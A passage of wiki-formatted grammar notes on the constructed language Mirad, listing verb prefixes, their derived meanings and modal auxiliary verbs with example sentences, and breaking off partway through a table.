::* '''xer'''....''to do/make'' → '''&lt;u&gt;kya&lt;/u&gt;xer'''....''to change''
::* '''napxer'''....''to order'' → '''&lt;u&gt;kya&lt;/u&gt;napxer'''....''to shuffle''
::* '''dyanxer'''....''to phrase'' → '''&lt;u&gt;kya&lt;/u&gt;dyanxer'''....''to paraphrase''
=== Expressing Covert Actions with '''ko-''' ===
::* '''ber'''....''to put'' → '''&lt;u&gt;ko&lt;/u&gt;ber'''....''to hide''
::* '''beler'''....''to carry'' → '''&lt;u&gt;ko&lt;/u&gt;beler'''....''to smuggle''
::* '''bier'''....''to take'' → '''&lt;u&gt;ko&lt;/u&gt;bier'''....''to steal''
::* '''ebkyaxer'''....''to exchange'' → '''&lt;u&gt;ko&lt;/u&gt;ebkyaxer'''....''to traffic''
::* '''exer'''....''to operate'' → '''&lt;u&gt;ko&lt;/u&gt;exer'''....''to spy, operate under cover''
::* '''fler'''....''to wish for'' → '''&lt;u&gt;ko&lt;/u&gt;fler'''....''to covet, be jealous of''
::* '''apyexer'''....''to attack'' → '''&lt;u&gt;ko&lt;/u&gt;apyexer'''....''to ambush, to sneak-attack''
::* '''loexer'''....''to destroy'' → '''&lt;u&gt;ko&lt;/u&gt;loexer'''....''to sabotage''
=== Expressing Actions with Intentionality with '''ke-''' ===
::* '''teaxer'''....''to look'' → '''&lt;u&gt;ke&lt;/u&gt;teaxer'''....''to scan''
::* '''vyaxer'''....''to prove'' → '''&lt;u&gt;ke&lt;/u&gt;vyaxer'''....''to experiment''
::* '''tier'''....''to learn'' → '''&lt;u&gt;ke&lt;/u&gt;tier'''....''to be interested in''
::* '''bier'''....''to take'' → '''&lt;u&gt;ke&lt;/u&gt;bier'''....''to choose''
::* '''pexer'''....''to catch'' → '''&lt;u&gt;ke&lt;/u&gt;pexer'''....''to hunt''

=== Expressing Lateral Actions with '''ku-''' ===
::* '''buxer'''....''to push'' → '''&lt;u&gt;ku&lt;/u&gt;buxer'''....''to rebuff, shun''
::* '''der'''....''to say'' → '''&lt;u&gt;ku&lt;/u&gt;der'''....''to comment, remark''
::* '''tyoper'''....''to step'' → '''&lt;u&gt;ku&lt;/u&gt;tyoper'''....''to step aside''
=== Expressing Diagonal Actions with '''ki-''' ===
::* '''teaxer'''....''to look'' → '''&lt;u&gt;ki&lt;/u&gt;teaxer'''....''to look askance at''
::* '''tuxer'''....''to teach'' → '''&lt;u&gt;ki&lt;/u&gt;tuxer'''....''to brainwash''
::* '''tyoper'''....''to walk'' → '''&lt;u&gt;ki&lt;/u&gt;tyoper'''....''to limp''
::* '''pyoser'''....''to fall'' → '''&lt;u&gt;ki&lt;/u&gt;pyoser'''....''to slip and fall''
::* '''per'''....''to go'' → '''&lt;u&gt;ki&lt;/u&gt;per'''....''to slide''

=== Expressing Near Actions with '''yub-'''===
::* '''der'''....''to say'' → '''&lt;u&gt;yub&lt;/u&gt;der'''....''to intimate, hint''
::* '''gexer'''....''to equate'' → '''&lt;u&gt;yub&lt;/u&gt;gexer'''....''to approximate''
::* '''bixer'''....''to pull'' → '''&lt;u&gt;yu(b)&lt;/u&gt;bixer'''....''to attract, draw near''
::* '''teaxer'''....''to look'' → '''&lt;u&gt;yub&lt;/u&gt;teaxer'''....''to scrutinize, examine''

=== Expressing Distance Actions with '''yib-''' (''far, tele-'') ===
::* '''drer'''....''to write'' → '''&lt;u&gt;yib&lt;/u&gt;drer'''....''to wire, telegraph''
::* '''bixer'''....''to pull'' → '''&lt;u&gt;yi(b)&lt;/u&gt;bixer'''....''to distract''
::* '''tuier'''....''to communicate'' → '''&lt;u&gt;yib&lt;/u&gt;tuier'''....''to telecommunicate''
::* '''nyuxer'''....''to deliver'' → '''&lt;u&gt;yib&lt;/u&gt;nyuxer'''....''to mail, post''

=== Expressing ''up-, super-'' with '''yab-''' ===
::* '''ber'''....''to put'' → '''&lt;u&gt;ya(b)&lt;/u&gt;ber'''....''to raise, to put up''
::* '''bixler'''....''to drag'' → '''&lt;u&gt;ya(b)&lt;/u&gt;bixler'''....''to dredge up''
::* '''uper'''....''to come'' → '''&lt;u&gt;yab&lt;/u&gt;uper'''....''to come up''
::* '''nogyanxer'''....''to scale'' → '''&lt;u&gt;yab&lt;/u&gt;nogyanxer'''....''to scale up, escalate''

=== Expressing ''down-, sub-'' with '''yob-''' ===
::* '''ber'''....''to put'' → '''&lt;u&gt;yo(b)&lt;/u&gt;ber'''....''to lower, put down''
::* '''kyaber'''....''to shift'' → '''&lt;u&gt;yob&lt;/u&gt;kyaxer'''....''to downshift''
::* '''musper'''....''to climb'' → '''&lt;u&gt;yob&lt;/u&gt;musper'''....''to climb down''
::* '''nogyanxer'''....''to scale'' → '''&lt;u&gt;yob&lt;/u&gt;nogyanxer'''....''to downscale''

=== Expressing ''in-'' with '''yeb-''' ===
::* '''ber'''....''to put'' → '''&lt;u&gt;ye(b)&lt;/u&gt;ber'''....''to insert, put in''
::* '''beler'''....''to carry'' → '''&lt;u&gt;ye(b)&lt;/u&gt;beler'''....''to import''
::* '''uzber'''....''to bend'' → '''&lt;u&gt;yeb&lt;/u&gt;uzber'''....''to inflect''
::* '''yujber'''....''to close'' → '''&lt;u&gt;yeb&lt;/u&gt;yujber'''....''to enclose, include''

=== Expressing ''out-, ex-, extra-'' with '''oyeb-''' ===
::* '''ber'''....''to put'' → '''&lt;u&gt;oye&lt;/u&gt;ber'''....''to put out, expose''
::* '''beler'''....''to carry'' → '''&lt;u&gt;oye&lt;/u&gt;beler'''....''to export''
::* '''uber'''....''to send'' → '''&lt;u&gt;oyeb&lt;/u&gt;uber'''....''to emit, send out''
::* '''yujber'''....''to close'' → '''&lt;u&gt;oyeb&lt;/u&gt;yujber'''....''to exclude''

=== Expressing ''pro-, forward'' with '''zay-''' ===
::* '''ber'''....''to put'' → '''&lt;u&gt;zay&lt;/u&gt;ber'''....''to advance, put forward''
::* '''kexer'''....''to seek'' → '''&lt;u&gt;zay&lt;/u&gt;kexer'''....''to scout out''
::* '''puxer'''....''to throw'' → '''&lt;u&gt;zay&lt;/u&gt;puxer'''....''to propel, thrust''
::* '''tyoper'''....''to walk'' → '''&lt;u&gt;zay&lt;/u&gt;tyoper'''....''to progress, to walk forward''

=== Expressing ''back-, retro-, re-'' with '''zoy-''' ===
::* '''uber'''....''to send'' → '''&lt;u&gt;zoy&lt;/u&gt;ber'''....''to send back''
::* '''kixer'''....''to bend'' → '''&lt;u&gt;zoy&lt;/u&gt;kixer'''....''to reflect''
::* '''puxer'''....''to throw'' → '''&lt;u&gt;zoy&lt;/u&gt;puxer'''....''to repel''
::* '''neadper'''....''to track'' → '''&lt;u&gt;zoy&lt;/u&gt;neadper'''....''to backtrack''

=== Expressing ''across, trans-, over-, cross-'' with '''zey-''' ===
::* '''per'''....''to go'' → '''&lt;u&gt;zey&lt;/u&gt;per'''....''to cross, transit''
::* '''beler'''....''to carry'' → '''&lt;u&gt;zey&lt;/u&gt;beler'''....''to transport, convey''
::* '''drer'''....''to write'' → '''&lt;u&gt;zey&lt;/u&gt;drer'''....''to transcribe''
::* '''kyober'''....''to fix'' → '''&lt;u&gt;zey&lt;/u&gt;kyober'''....''to transfix, transplant''
::* '''vyayeker'''....''to check'' → '''&lt;u&gt;zey&lt;/u&gt;vyayeker'''....''to crosscheck''

=== Expressing ''through, per-'' with '''zye-''' ===
::* '''per'''....''to go'' → '''&lt;u&gt;zye&lt;/u&gt;per'''....''to permeate, get through''
::* '''kexer'''....''to seek'' → '''&lt;u&gt;zye&lt;/u&gt;kexer'''....''to rummage, sift through''
::* '''drer'''....''to write'' → '''&lt;u&gt;zye&lt;/u&gt;drer'''....''to cross out, draw a line through''
::* '''iluer'''....''to pour'' → '''&lt;u&gt;zye&lt;/u&gt;iluer'''....''to soak''
::* '''koper'''....''to sneak'' → '''&lt;u&gt;zye&lt;/u&gt;koper'''....''to sneak through''
=== Expressing ''all over, widely, all about'' with '''zya-''' ===
::* '''ber'''....''to put'' → '''&lt;u&gt;zya&lt;/u&gt;ber'''....''to spread''
::* '''buer'''....''to give'' → '''&lt;u&gt;zya&lt;/u&gt;buer'''....''to distribute''
::* '''ijber'''....''to open'' → '''&lt;u&gt;zya&lt;/u&gt;ijber'''....''to open wide''
::* '''nuxer'''....''to pay'' → '''&lt;u&gt;zya&lt;/u&gt;nuxer'''....''to disburse''
::* '''puxer'''....''to throw'' → '''&lt;u&gt;zya&lt;/u&gt;puxer'''....''to scatter, cast about''

=== Expressing ''mid-, center'' with '''ze-''' ===
::* '''ber'''....''to put'' → '''&lt;u&gt;ze&lt;/u&gt;ber'''....''to balance''
::* '''byaser'''....''to stand'' → '''&lt;u&gt;ze&lt;/u&gt;byaser'''....''to straddle''
::* '''der'''....''to say'' → '''&lt;u&gt;ze&lt;/u&gt;der'''....''to interject''
::* '''pyoser'''....''to fall'' → '''&lt;u&gt;ze&lt;/u&gt;pyoser'''....''to sag''
::* '''poxer'''....''to stop'' → '''&lt;u&gt;ze&lt;/u&gt;poxer'''....''to interrupt''
=== Expressing ''futurity'' with '''oj-''' ===
::* '''ber'''....''to put'' → '''&lt;u&gt;oj&lt;/u&gt;ber'''....''to put off, postpone''
::* '''bier'''....''to take'' → '''&lt;u&gt;oj&lt;/u&gt;bier'''....''to borrow''
::* '''fer'''....''to want'' → '''&lt;u&gt;oj&lt;/u&gt;fer'''....''to wish, aspire''
::* '''texer'''....''to think'' → '''&lt;u&gt;oj&lt;/u&gt;texer'''....''to plan''
::* '''teater'''....''to see'' → '''&lt;u&gt;oj&lt;/u&gt;teater'''....''to envision''
::* '''vader'''....''to affirm'' → '''&lt;u&gt;oj&lt;/u&gt;vader'''....''to promise''
=== Expressing ''past'' with '''aj-''' ===
::* '''ber'''....''to put'' → '''&lt;u&gt;aj&lt;/u&gt;ber'''....''to pass, relegate to the past''
::* '''der'''....''to say'' → '''&lt;u&gt;aj&lt;/u&gt;der'''....''to evoke, hearken, recount''
::* '''embier'''....''to occupy'' → '''&lt;u&gt;aj&lt;/u&gt;embier'''....''to haunt''
::* '''texer'''....''to think'' → '''&lt;u&gt;aj&lt;/u&gt;texer'''....''to reminisce, to reflect''
::* '''uvtosder'''....''to express sadness'' → '''&lt;u&gt;aj&lt;/u&gt;uvtosder'''....''to apologize''
::* '''nexer'''....''to store'' → '''&lt;u&gt;aj&lt;/u&gt;nexer'''....''to archive''
=== Expressing ''present'' with '''ej-''' ===
::* '''buer'''....''to give'' → '''&lt;u&gt;ej&lt;/u&gt;buer'''....''to present''
::* '''eser'''....''to exist'' → '''&lt;u&gt;ej&lt;/u&gt;eser'''....''to attend, to be present''
::* '''nuxer'''....''to pay'' → '''&lt;u&gt;ej&lt;/u&gt;nuxer'''....''to pay cash''
::* '''tuer'''....''to inform'' → '''&lt;u&gt;ej&lt;/u&gt;tuer'''....''to update''
::* '''uvtosder'''....''to express sadness'' → '''&lt;u&gt;ej&lt;/u&gt;uvtosder'''....''to apologize''
=== Expressing a stretched out action with '''yag-''' (''long'') ===
::* '''beser'''....''to stay'' → '''&lt;u&gt;yag&lt;/u&gt;beser'''....''to linger''
::* '''bexer'''....''to hold'' → '''&lt;u&gt;yag&lt;/u&gt;bexer'''....''to conserve, preserve''
::* '''daler'''....''to talk'' → '''&lt;u&gt;yag&lt;/u&gt;daler'''....''to ramble''
::* '''dodaler'''....''to orate'' → '''&lt;u&gt;yag&lt;/u&gt;dodaler'''....''to harangue''
::* '''fer'''....''to want'' → '''&lt;u&gt;yag&lt;/u&gt;fer'''....''to yearn, pine''
::* '''teaxer'''....''to look'' → '''&lt;u&gt;yag&lt;/u&gt;teaxer'''....''to stare''
::* '''fer'''....''to want'' → '''&lt;u&gt;yag&lt;/u&gt;fer'''....''to yearn, pine''
=== Expressing a brief action with '''yog-''' (''short'') ===
::* '''drer'''....''to write'' → '''&lt;u&gt;yog&lt;/u&gt;drer'''....''to abbreviate''
::* '''teaxer'''....''to look'' → '''&lt;u&gt;yog&lt;/u&gt;teaxer'''....''to glance at''
::* '''tujer'''....''to sleep'' → '''&lt;u&gt;yog&lt;/u&gt;tujer'''....''to snooze, nap''
::* '''gobler'''....''to cut'' → '''&lt;u&gt;yog&lt;/u&gt;gobler'''....''to cut short, truncate''

=== Some Hybrid Prefixes ===
The prefix '''kui-''' is a hybrid of '''ku-''' (''lateral'') and '''ki-''' (''diagonal'')

::* '''per'''....''to go'' → '''&lt;u&gt;kui&lt;/u&gt;per'''....''to wobble''
::* '''tyoper'''....''to walk'' → '''&lt;u&gt;kui&lt;/u&gt;tyoper'''....''to limp''

The prefix '''zao-''' is a truncated hybrid of '''zay-''' (''forward'') and '''zoy-''' (''backwards''), eg:

::* '''baser'''....''to move'' → '''&lt;u&gt;zao&lt;/u&gt;baser'''....''to rock''
::* '''per'''....''to go'' → '''&lt;u&gt;zao&lt;/u&gt;per'''....''to alternate''
::* '''beler'''....''to carry'' → '''&lt;u&gt;kui&lt;/u&gt;beler'''....''to shuttle, ferry''
::* '''pyoser'''....''to fall'' → '''&lt;u&gt;kui&lt;/u&gt;pyoser'''....''to pendulate''

The prefix '''yaob-''' is a hybrid of '''yab-''' (''up'') and '''yob-''' (''down'').  The final '''b-''' is assimilated or dropped before a '''b''' or '''p'''.

::* '''baser'''....''to move'' → '''&lt;u&gt;yao&lt;/u&gt;baser'''....''to bob''
::* '''per'''....''to go'' → '''&lt;u&gt;yao&lt;/u&gt;per'''....''to heave''
::* '''beler'''....''to carry'' → '''&lt;u&gt;yao&lt;/u&gt;beler'''....''to shuttle, ferry''
::* '''peper'''....''to ride'' → '''&lt;u&gt;yao&lt;/u&gt;peper'''....''to jounce''
::* '''puser'''....''to jump'' → '''&lt;u&gt;yao&lt;/u&gt;puser'''....''to hop, bounce''

The prefix '''bui-''' is a hybrid of '''bu-''' (''to'') and '''bi-''' (''from''), eg:

::* '''drer'''....''to write'' → '''&lt;u&gt;bui&lt;/u&gt;drer'''....''to correspond''
::* '''-er'''....''to x'' → '''&lt;u&gt;bui&lt;/u&gt;er'''....''to trade''
::* '''beler'''....''to carry'' → '''&lt;u&gt;bui&lt;/u&gt;beler'''....''to shuttle, ferry''
::* '''xer'''....''to do'' → '''&lt;u&gt;bui&lt;/u&gt;xer'''....''to push and pull, spring''
::* '''poper'''....''to travel'' → '''&lt;u&gt;bui&lt;/u&gt;poper'''....''to travel to and fro, travel round trip''

The prefix '''uiz-''' is a hybrid of '''uz-''' (''crooked'') and '''iz-''' (''straight''), eg:

::* '''drer'''....''to write'' → '''&lt;u&gt;uiz&lt;/u&gt;drer'''....''to squiggle''
::* '''der'''....''to say'' → '''&lt;u&gt;uiz&lt;/u&gt;der'''....''to equivocate''
::* '''baser'''....''to move'' → '''&lt;u&gt;uiz&lt;/u&gt;baser'''....''to wiggle, to squirm''
::* '''per'''....''to go'' → '''&lt;u&gt;uiz&lt;/u&gt;per'''....''to careen, reel''
::* '''paser'''....''to move'' → '''&lt;u&gt;uiz&lt;/u&gt;paser'''....''to swerve, yaw''

The prefix '''zui-''' is a hybrid of '''zu-''' (''left'') and '''zi-''' (''right''), eg:

::* '''drer'''....''to write'' → '''&lt;u&gt;uiz&lt;/u&gt;drer'''....''to squiggle''
::* '''buxer'''....''to push'' → '''&lt;u&gt;zui&lt;/u&gt;buxer'''....''to push around''
::* '''baser'''....''to move'' → '''&lt;u&gt;zui&lt;/u&gt;baser'''....''to sway, totter''
::* '''per'''....''to go'' → '''&lt;u&gt;zui&lt;/u&gt;per'''....''to zigzag''
::* '''pasler'''....''to shake'' → '''&lt;u&gt;zui&lt;/u&gt;pasler'''....''to wobble''

The prefix '''aoyeb-''' is a hybrid of '''(a)yeb-''' (''in'') and '''oyeb-''' (''out''), eg:

::* '''ber'''....''to put'' → '''&lt;u&gt;aoye&lt;/u&gt;ber'''....''to insert and extract''
::* '''tiexer'''....''to breathe'' → '''&lt;u&gt;aoye&lt;/u&gt;tiexer'''....''to breath in and out''
::* '''paper'''....''to fly'' → '''&lt;u&gt;aoye&lt;/u&gt;paper'''....''to fly in and out''

The prefix '''aob-''' is a hybrid of '''ab-''' (''on'') and '''ob-''' (''off''), eg:

::* '''ber'''....''to put'' → '''&lt;u&gt;ao&lt;/u&gt;ber'''....''to put on and off''
::* '''per'''....''to go'' → '''&lt;u&gt;ao&lt;/u&gt;per'''....''to get on and off, embark and disembark''

The prefix '''vao-''' is a hybrid of '''va-''' (''yes'') and '''vo-''' (''no''), eg:

::* '''der'''....''to say'' → '''&lt;u&gt;vao&lt;/u&gt;der'''....''to decide''
::* '''daler'''....''to talk'' → '''&lt;u&gt;vao&lt;/u&gt;daler'''....''to waffle''
::* '''duder'''....''to answer'' → '''&lt;u&gt;vao&lt;/u&gt;duder'''....''to answer yes or no''
::* '''kyaxer'''....''to change'' → '''&lt;u&gt;vao&lt;/u&gt;kyaxer'''....''to redact''
::* '''texer'''....''to think'' → '''&lt;u&gt;vao&lt;/u&gt;texer'''....''to deliberate, vacillate''

The prefix '''uij''' is a hybrid of '''uj-''' (''end'') and '''ij-''' (''begin'')

::* '''ber'''....''to put'' → '''&lt;u&gt;uij&lt;/u&gt;ber'''....''to switch off and on''
::* '''daler'''....''to talk'' → '''&lt;u&gt;uij&lt;/u&gt;daler'''....''to stutter''

The prefix '''yuij''' is a hybrid of '''yuj-''' (''close'') and '''yij-''' (''open'')

::* '''ber'''....''to put'' → '''&lt;u&gt;yuij&lt;/u&gt;ber'''....''to open and close, blink''

The prefix '''huim''' is a hybrid of '''hum''' (''there'') and '''him''' (''there'')

::* '''paper'''....''to fly'' → '''&lt;u&gt;huim&lt;/u&gt;paper'''....''to fly here and yon''
::* '''per'''....''to go'' → '''&lt;u&gt;huim&lt;/u&gt;per'''....''to wander''
::* '''kexer'''....''to seek'' → '''&lt;u&gt;huim&lt;/u&gt;kexer'''....''to search high and low''

=== Different Nuances of '''teaxer''' with Prefixes ===
&lt;div style=&quot;background: lightyellow;{{Text default color}}; border: solid blue 2px; {{column-count|3}};{{column-rule|2px solid blue}};font-size:smaller;&quot;;&gt;
::* '''teaxer'''....''to look, behold, regard''
::* '''aybteaxer'''....''to supervise, look over''
::* '''ajteaxer'''....''to look back on (retrospect)''
::* '''eynteaxer'''....''to squint''
::* '''fizteaxer'''....''to respect''
::* '''fuzteaxer'''....''to disrespect''
::* '''gawteaxer'''....''to review, re-look''
::* '''hyuitteaxer'''....''to look at one another''
::* '''ibteaxer'''....''to ignore''
::* '''igteaxer'''....''to glance, glimpse''
::* '''ifteaxer'''....''to marvel at''
::* '''izteaxer'''....''to view directly, confront, aim''
::* '''jateaxer'''....''to preview''
::* '''jeteaxer'''....''to watch, observe''
::* '''joteaxer'''....''to review''
::* '''kateaxer'''....''to look for''
::* '''keteaxer'''....''to scan''
::* '''kiteaxer'''....''to look askance''
::* '''koteaxer'''....''to peek, spy''
::* '''kozyeteaxer'''....''to peep''
::* '''kozyoteaxer'''....''to peer''
::* '''kuteaxer'''....''to observe''
::* '''kyeteaxer'''....''to browse''
::* '''kyoteaxer'''....''to stare, glare''
::* '''oteaxer'''....''to ignore, overlook''
::* '''ufteaxer'''....''to glare, leer''
::* '''ugteaxer'''....''to gaze''
::* '''yagteaxer'''....''to gape, gawk''
::* '''yebteaxer'''....''to inspect''
::* '''yibteaxer'''....''to view from afar''
::* '''yogteaxer'''....''to glance at''
::* '''yokteaxer'''....''to get a glimpse of''
::* '''yubteaxer'''....''to examine''
::* '''yuibteaxer'''....''to look near and far''
::* '''yuzteaxer'''....''to look around, circumspect''
::* '''yanteaxer'''....''to view together''
::* '''yizteaxer'''....''to look beyond, overlook''
::* '''vyateaxer'''....''to investigate, check out''
::* '''vyoteaxer'''....''to view wrongly''
::* '''zateaxer'''....''to face, confront''
::* '''zayteaxer'''....''to look ahead, expect''
::* '''zoyteaxer'''....''to look back''
::* '''zeyteaxer'''....''to look across''
::* '''ziteaxer'''....''to look to the right''
::* '''zuteaxer'''....''to look to the left''
::* '''zuiteaxer'''....''to look right and left''
::* '''zyateaxer'''....''to look all over, survey''
::* '''zyeteaxer'''....''to look through, peruse''
::* '''zyoteaxer'''....''to squint''
::* '''yobteaxer'''....''to look down''
::* '''yaobteaxer'''....''to look up and down''
::* '''zaoteaxer'''....''to look back and forth''
::* '''yabteaxer'''....''to look up''
::* '''yubketeaxer'''....''to pry''
::* '''uzteaxer'''....''to look indirectly at''
::* '''oyebteaxer'''....''to look out''
::* '''ojteaxer'''....''to peer into the future''
::* '''marteaxer'''....''to star-gaze''
::* '''tabteaxer'''....''to autopsy''
&lt;/div&gt;

== Modal Verbs ==
: Modal verbs are auxiliary verbs that are usually followed by the main verb in the infinitive or a subjunctive dependent clause and have to do with wanting, permitting, prohibiting, being able, being unable, needing, being obliged to do something, etc. 
==== Principal Modal Auxiliary Verbs ====
[[File:Ladies Should Listen poster.jpg|thumb|]]
: Mirad has a set of modal auxiliary verbs that can be followed by a main verb in the infinitive mode.  This is very much like English modal auxiliary verbs in the following examples:
::* ''I &lt;u&gt;want&lt;/u&gt; to go.''
::* ''You &lt;u&gt;must&lt;/u&gt; wait.''
::* ''You &lt;u&gt;may&lt;/u&gt; stay.''
::* ''I &lt;u&gt;dare&lt;/u&gt; say.''

: Here is a chart showing the main modal auxiliary verbs in Mirad:

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Principle Modal Auxiliary Verbs
|-
! Type !! Positive !! Negative
|-
! Permission
| '''afer'''....''may''&lt;br&gt;'''ayfer'''....''might'' || '''ofer'''....''may not''&lt;br&gt;'''oyfer'''....''might not''
|-
! Ability
| '''yafer'''....''can''||'''yofer'''....''cannot''
|-
! Need 
| '''efer'''....''need to'' ||
|-
! Obligation
| '''yefer'''....''must''&lt;br&gt;'''yeyfer'''....''should'' ||'''oyefer'''....''must not''&lt;br&gt;'''oyeyfer'''....''should not''
|-
! Desire 
| '''fer'''....''want to'' ||
|-
! Enjoyment 
| '''ifer'''....''love to, enjoy''&lt;br&gt;'''iyfer'''....''like to'' || '''ufer'''....''hate to''&lt;br&gt;'''uyfer'''....''dislike to''
|-
! Courage
|'''yifer'''....''dare to'' || '''yufer'''....''be afraid to, fear''
|-
! Liberty
| '''yiver'''....''have a right to, be free to'' ||  '''yuver'''....''be bound to, be supposed to''
|-
! Expectation
| '''yaker'''....''expect to'' || '''yoker'''....''be surprised to''
|-
! Conation
| '''yeker'''....''try to'' || 
|-
! Difficulty
| '''yiker'''....''to find it hard to'' || '''yuker'''....''to find it easy to''
|}

: These modal auxiliary verbs are often followed by a verbal infinitive, as in the following examples:
::* '''At fe &lt;u&gt;ter&lt;/u&gt;.'''....''I want &lt;u&gt;to know&lt;/u&gt;.''
::* '''Wit yifa &lt;u&gt;yeper&lt;/u&gt;.'''....''He dared &lt;u&gt;to enter&lt;/u&gt;.''
::* '''Yat yafe &lt;u&gt;teater&lt;/u&gt; yet.'''....''We can &lt;u&gt;see&lt;/u&gt; you.''
::* '''Duven et yaka &lt;u&gt;aker&lt;/u&gt;?'''....''Did you expect &lt;u&gt;to win&lt;/u&gt;?''
::* '''Diwe yeku &lt;u&gt;xer&lt;/u&gt; ga fi.'''....''Please try &lt;u&gt;to do&lt;/u&gt; better.''

: If the modal verb is in the hypothetical aspect (conditional), then the sense is somewhat mitigated, as in these examples:

:* '''At &lt;u&gt;fe&lt;/u&gt; per.'''....''I &lt;u&gt;want&lt;/u&gt; to go.''
:* '''At &lt;u&gt;fu&lt;/u&gt; per.'''....''I &lt;u&gt;would&lt;/u&gt; like to go.''

:* '''Et &lt;u&gt;yafe&lt;/u&gt; aker.'''....''You &lt;u&gt;can&lt;/u&gt; win.''
:* '''Et &lt;u&gt;yafu&lt;/u&gt; aker.'''....''You &lt;u&gt;could&lt;/u&gt; win.''

:* '''Yet &lt;u&gt;yefe&lt;/u&gt; iper.'''....''You &lt;u&gt;must&lt;/u&gt; leave.''
:* '''Yet &lt;u&gt;yefu&lt;/u&gt; iper.'''....''You &lt;u&gt;ought&lt;/u&gt; to leave.''

: Post-y-gliding the stem vowel of the modal verb also reduces the strength, for example:

:* '''At &lt;u&gt;ife&lt;/u&gt; et.''' ....''I &lt;u&gt;love&lt;/u&gt; you.''
:* '''At &lt;u&gt;iyfe&lt;/u&gt; et.''' ....''I &lt;u&gt;like&lt;/u&gt; you.''

:* '''Et &lt;u&gt;yefe&lt;/u&gt; iper.'''....''You &lt;u&gt;must&lt;/u&gt; leave.''
:* '''Et &lt;u&gt;yeyfe&lt;/u&gt; iper.'''....''You &lt;u&gt;should&lt;/u&gt; leave.''

:* '''Iyt &lt;u&gt;yafe&lt;/u&gt; aker.'''....''She &lt;u&gt;can&lt;/u&gt; win.''
:* '''Iyt &lt;u&gt;yayfe&lt;/u&gt; aker.'''....''She &lt;u&gt;might&lt;/u&gt; win.''

:* '''At &lt;u&gt;ufa&lt;/u&gt; uda tuz.'''....''I &lt;u&gt;hated&lt;/u&gt; that art.''
:* '''At &lt;u&gt;uyfa&lt;/u&gt; uda tuz.'''....''I &lt;u&gt;disliked&lt;/u&gt; that art.''

: The use of '''l''' and '''r''' intensify the meaning of the auxiliary verbs, eg:

:* '''Et &lt;u&gt;yuve&lt;/u&gt; puer jwe.'''....''You &lt;u&gt;are supposed&lt;/u&gt; to arrive on time.''
:* '''Et &lt;u&gt;yuvle&lt;/u&gt; tepzexer.'''....''You &lt;u&gt;have&lt;/u&gt; to pay attention.''
:* '''Et &lt;u&gt;yuvre&lt;/u&gt; buer nas.'''....''You &lt;u&gt;absolutely must&lt;/u&gt; give money.''

:* '''At &lt;u&gt;yeka&lt;/u&gt; ser yeva.'''....''I &lt;u&gt;tried&lt;/u&gt; to be fair.''
:* '''At &lt;u&gt;yekla&lt;/u&gt; ujber jwa.'''....''I &lt;u&gt;strove&lt;/u&gt; to finish early.''
:* '''At &lt;u&gt;yekra&lt;/u&gt; nixer ga nas.'''....''I &lt;u&gt;struggled (= worked hard))&lt;/u&gt; to earn more money.''

:* '''Iyt &lt;u&gt;ife&lt;/u&gt; eker zyun.'''....''She &lt;u&gt;loves&lt;/u&gt; to play ball.''
:* '''Iyt &lt;u&gt;ifla&lt;/u&gt; teater et.'''....''She &lt;u&gt;was delighted&lt;/u&gt; to see you.''
:* '''Iyt &lt;u&gt;ifre&lt;/u&gt; teaper him.'''....''She &lt;u&gt;adores&lt;/u&gt; visiting here.''

: Here are some examples showing how these modal verbs are used as auxiliaries:

::* '''Et &lt;u&gt;afe&lt;/u&gt; oyeper ay ifeker.'''....''You &lt;u&gt;may&lt;/u&gt; go out and play.''
::* '''Yat &lt;u&gt;efa&lt;/u&gt; tujer.'''....''We &lt;u&gt;needed&lt;/u&gt; to sleep.''
::* '''Ot &lt;u&gt;ofe&lt;/u&gt; mavier him.'''....''One &lt;u&gt;is prohibited&lt;/u&gt; to smoke here.''
::* '''Mavier him &lt;u&gt;ofwe&lt;/u&gt;.'''....''Smoking here is prohibited.''
::* '''At &lt;u&gt;ife&lt;/u&gt; dyeer.'''....''I &lt;u&gt;love&lt;/u&gt; to read.''
::* '''Duven et &lt;u&gt;fe&lt;/u&gt; yeper?'''....''Do you &lt;u&gt;want&lt;/u&gt; to come in?''
::* '''At &lt;u&gt;fu&lt;/u&gt; teaper et edjub.'''....''I &lt;u&gt;would like&lt;/u&gt; to visit you some day.''
::* '''It &lt;u&gt;ufaye hyaj&lt;/u&gt; teaxwer.'''....''He &lt;u&gt;has always hated&lt;/u&gt; being looked at.''
::* '''Duven et &lt;u&gt;iyfe&lt;/u&gt; per tilami?'''....''Do you &lt;u&gt;like&lt;/u&gt; going to bars?''
::* '''At &lt;u&gt;uyfe&lt;/u&gt; tijer gra jwa.'''....''I &lt;u&gt;dislike&lt;/u&gt; waking up too early.''
::* '''Et &lt;u&gt;yafe&lt;/u&gt; xer hyehos et fu.'''....''You &lt;u&gt;can&lt;/u&gt; do whatever you like.''
::* '''Et &lt;u&gt;yefer&lt;/u&gt; xer ad vyaas.'''....''You &lt;u&gt;must&lt;/u&gt; do the right thing.''
::* '''Et &lt;u&gt;yeyfe&lt;/u&gt; voy daler huuyen azay.'''....''You &lt;u&gt;should&lt;/u&gt; not talk so loud.''
::* '''At &lt;u&gt;yeyfa&lt;/u&gt; ter ga fi.'''....''I &lt;u&gt;should have&lt;/u&gt; known better.''
::* '''At &lt;u&gt;voy yifu&lt;/u&gt; der hyea fuas.'''....''I &lt;u&gt;would not dare&lt;/u&gt; say anything bad.''
::* '''&lt;u&gt;Von yufu&lt;/u&gt; der hos et tesde.'''....''&lt;u&gt;Don't be afraid&lt;/u&gt; to say what you mean.''
::* '''Et &lt;u&gt;yive&lt;/u&gt; dier yevanavdut.'''....''You &lt;u&gt;have a right&lt;/u&gt; to ask for a lawyer.''
::* '''Yat &lt;u&gt;voy yuvle&lt;/u&gt; kyoejer.'''....''We &lt;u&gt;are not bound&lt;/u&gt; to stick around.''

=== Subject-oriented vs. Patient-oriented Modal Verb Forms ===

:: All of these modal verbs can be passive, in which case they are &quot;patient-oriented&quot; rather than &quot;subject-oriented.&quot; The participial adjective '''yafa'''....''able'' is subject-oriented and refers to a person, whereas the passived adjective '''yafwa'''....''possible'' is patient-oriented and refers to a thing or event. Here is a chart of the principal modal verbs and corresponding participial adjectives with this subject/object-orientation distinction shown:

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Subject-oriented vs. Patient-oriented Modal Verb Forms
|-
! Modal Type || Subject-oriented !! Subject-oriented !! Patient-oriented !! Patient-oriented
|-
! !! Verb !! Adjective !! Verb !! Adjective
|-
!row=1| Permission
